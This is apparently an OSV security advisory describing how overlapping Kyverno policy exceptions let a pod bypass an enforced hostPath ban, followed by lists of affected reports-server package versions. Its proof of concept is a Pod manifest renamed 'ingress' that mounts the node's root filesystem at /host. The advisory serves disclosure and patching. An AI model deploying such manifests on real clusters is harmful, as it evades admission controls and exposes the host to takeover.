DHI-j2j5-ojhr-b33x-qkuf

Source
https://scout.docker.com/v/DHI-j2j5-ojhr-b33x-qkuf
Import Source
https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-j2j5-ojhr-b33x-qkuf.json
JSON Data
https://api.osv.dev/v1/vulns/DHI-j2j5-ojhr-b33x-qkuf
Upstream
Published
2026-11-11T15:50:08Z
Modified
2026-11-17T16:45:07Z
Severity
  • 9.0 (Critical) CVSS_V3 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
### Summary
Details

Summary

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-host-path
  annotations:
    policies.kyverno.io/title: Disallow hostPath
    policies.kyverno.io/category: Pod Security Standards (Baseline)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod,Volume
    kyverno.io/kyverno-version: 1.6.0
    kyverno.io/kubernetes-version: "1.22-1.23"
    policies.kyverno.io/description: >-
      HostPath volumes let Pods use host directories and volumes in containers.
      Using host resources can be used to access shared data or escalate privileges
      and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
    - name: host-path
      match:
        any:
        - resources:
            kinds:
              - Pod
      validate:
        message: >-
          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        namespaces:
        - luntry
        - tstkyverno
        - examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception-names
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        names:
        - '*haproxy*'
        - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
  name: mtkpi
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /
Снимок экрана 2025-09-04 в 13 35 46

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
  name: ingress
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /
Снимок экрана 2025-09-04 в 13 37 09

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

Impact

The security restrictions can be bypassed.

References

Affected packages

Docker Hardened Images:Alpine:3.24
reports-server-dev

Package

Name
reports-server-dev
Purl
pkg:apk/dhi/reports-server-dev

Affected ranges

Affected versions

0.*
0.1.7-r0
0.1.7-r1
0.1.7-r2
0.1.7-r3
0.1.7-r4
0.1.7-r8
0.1.7-r10
0.1.7-r11
0.1.7-r12
0.1.7-r13
0.1.7-r14
0.1.7-r15
0.1.7-r16
0.1.7-r17
0.1.7-r18
0.1.7-r19
0.1.7-r20

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-j2j5-ojhr-b33x-qkuf.json"
reports-server-fips-dev

Package

Name
reports-server-fips-dev
Purl
pkg:apk/dhi/reports-server-fips-dev

Affected ranges

Affected versions

0.*
0.1.7-r0
0.1.7-r1
0.1.7-r2
0.1.7-r3
0.1.7-r4
0.1.7-r8
0.1.7-r10
0.1.7-r11
0.1.7-r12
0.1.7-r13
0.1.7-r14
0.1.7-r15
0.1.7-r16
0.1.7-r17
0.1.7-r18
0.1.7-r19
0.1.7-r20

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-j2j5-ojhr-b33x-qkuf.json"
reports-server-fips

Package

Name
reports-server-fips
Purl
pkg:apk/dhi/reports-server-fips

Affected ranges

Affected versions

0.*
0.1.7-r0
0.1.7-r1
0.1.7-r2
0.1.7-r3
0.1.7-r4
0.1.7-r8
0.1.7-r10
0.1.7-r11
0.1.7-r12
0.1.7-r13
0.1.7-r14
0.1.7-r15
0.1.7-r16
0.1.7-r17
0.1.7-r18
0.1.7-r19
0.1.7-r20

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-j2j5-ojhr-b33x-qkuf.json"
reports-server

Package

Name
reports-server
Purl
pkg:apk/dhi/reports-server

Affected ranges

Affected versions

0.*
0.1.7-r0
0.1.7-r1
0.1.7-r2
0.1.7-r3
0.1.7-r4
0.1.7-r8
0.1.7-r10
0.1.7-r11
0.1.7-r12
0.1.7-r13
0.1.7-r14
0.1.7-r15
0.1.7-r16
0.1.7-r17
0.1.7-r18
0.1.7-r19
0.1.7-r20

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-j2j5-ojhr-b33x-qkuf.json"